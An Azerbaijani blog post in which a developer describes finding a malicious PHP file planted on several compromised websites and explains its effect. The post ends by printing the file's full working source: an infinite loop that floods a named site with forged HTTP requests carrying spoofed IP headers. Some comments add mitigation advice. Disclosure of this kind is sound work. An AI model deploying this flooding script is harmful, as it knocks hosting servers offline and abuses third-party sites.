Təhlükəsizlik araşdırması

Deməli belə. Dünən bir tanış saytdan “500 server error” aldığını dedilər. Ona bir baxım dedim. Baxanda qarşıma bir fayl çıxdı hansı ki, bunu yazan adam sonsuz döngü ilə öz saytına trafik yığır. Biraz araşdırdıqdan sonra bu faylın ancaq bir yox bir neçə saytda olduğunu gördüm. Bu saytlar arasında tibb mərkəzi, media saytı, porno saytlar və s. var idi. Hər nəysə bu faylı axır ki, atılanlardan birin də tapdım və ‘source code’ baxdım. Deməli o PHP aşağıdakı işi yerinə yetirir. PHP orta anlayışı olanda təqribi işi anlayıblar. Olmayanlara isə qısaca izah edim. Deməli adam bu qaynaq kodlu bir PHP-i bir neçə sayta yükləyir və o saytların ən alt hissəsində bu kodu çağırıb işlədir.

<img src="o_faylin_unvani" width="0" height="0" />

Nəticədə o saytlardan hücum edən adamın saytına trafik gedir və while(1) sistemdə sonsuz döngü etdiyi üçün o saytların serverləri çökür. Hər nəysə bu da bir yana maraqlı olan isə tamam başqa oldu. Mən bu hansı xəbər saytına yerləşdirilibsə o sayta zəng edib dedim ki, saytınızda belə bir şey var onu təmizləyin. O xəbər saytı publika.az idi. Bunlarda saytlarını düzəltmək əvəzinə götürüb bəzi qurumlara şikayət ediblər ki, digər bir media orqanının serverlərindən onlara atak olunur. Bunu mən araşdırma etdikdən sonra bildim. Mən də vəziyyətə aydınlıq gətirmək üçün bu yazını yazdım.

Publika.az source code

Hər nəysə hər ehtimala qarşı siz də ehtiyatlı olun. Belə bir problemlə qarşılaşmamaq üçün.

P.S. Maraqlı gələn isə odur ki, bizim media saytlarından hansına hücum oldusa digər media saytını günahkar bilir. Ay balam bir araşdırın görün sizə hücum hardan gəlir log-larınıza baxın sonra danışın da 🙂 Kodlardan da görəcəksiniz ki, hücum edən, daha doğrusu sizin serveri işlədib özünə trafik yığan digər bir saytdır.

Ən sonda isə kodu sizlərlə paylaşım 🙂

<?php
set_time_limit(0);
while(1)
{
	$dominio='fotofun.az';
	$ruta='/index.php';
	$ip_simulada = rand(1,254).'.'.rand(1,254).'.'.rand(1,254).'.'.rand(1,254);
	$socket = fsockopen($dominio, '80', $errno, $errstr, 30);
	$header =  "GET ".$ruta." HTTP/1.1\r\n";
	$header .= "Host: ".$dominio."\r\n";
	$header .= "User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:15.0) Gecko/20120803 Firefox/17.0.1 Chrome Gecko 16.10 \r\n";
	$header .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpg,image/gif,*/*;q=0.5\r\n";
	$header .= "Accept-Language: arm-arm,arm;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
	$header .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
	$header .= "Keep-Alive: 200\r\n";
	$header .= "Proxy-Connection: keep-alive\r\n";
	$header .= "Remote Server: $dominio\r\n";
	$header .= "Referer: http://".$dominio.$ruta."\r\n";
	$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
	$header .= "X-Forwarded-For: ".$ip_simulada."\r\n";
	$header .= "Via: $dominio\r\n";
	$header .= "Connection: Close\r\n\r\n";

	$send_header = fwrite($socket,$header);
}
?>

2008-ci ildən bəri proqramlaşdırma və texnologiya ilə maraqlanıram. Layihələrdə əsasən PHP (ehtiyac olduqda Python) istifadə edirəm. Son zamanlarda Maşın Öyrənilməsi sahəsində layihələr üzərində işləyirəm.

8 comments On Təhlükəsizlik araşdırması

  • Siz o kodu oldugu kim i niye yazmmamisiz ? Mence sizde neyse onlarla elq\aqelisiz

    • Hansı kodu olduğu kimi yazmamışam? Siz çox xəyalpərəstsiniz 🙂 Kod olduğu kimi yazılıb. Hətta hansı sayt olduğu da verilib. Əvvəl yazmadım, amma sonra belə şərhlərin başımı ağrıtmaması üçün o kodun fotofun.az saytı üçün trafik göndərdiyini yazdım.

  • menim basima da gelib bunun qarsisini 1 defeleik nece almaq olar

    • Ulduz xanım, bunun qarşısını bir dəfəlik almaq biraz mümkün deyil. Ona görə ki, bu adidir. Əgər sizin sayta kimsə shell yükləyə bilirsə və ya fayllarınıza hansısa yolla çata bilirsə o redaktə edib öz kodlarını yerləşdirir. Sonsuz döngünün qarşısını ala bilərsiniz ancaq, oda ki, serverdə set_time_limit(0); funksiyasını deaktiv edərək. Server özünüzündürsə bunu özünüz php.ini dən edə bilərsiniz. Yox əgər hostingi almısınızsa hosting firması ilə əlaqə saxlayın.

  • Pingback: Yalnış anlaşılmalar | Sanan Guliev ()

  • Ortagim boyuyub ve yene ish bashindadir, Bashini bunlarla yormaq evezine soz verdiyin meseleni hell ele:)

  • Ortagim telefonu da goturmur, heqiqeten boyuyub:)

Leave a Reply to Ulduz Cancel Reply

Your email address will not be published.

Site Footer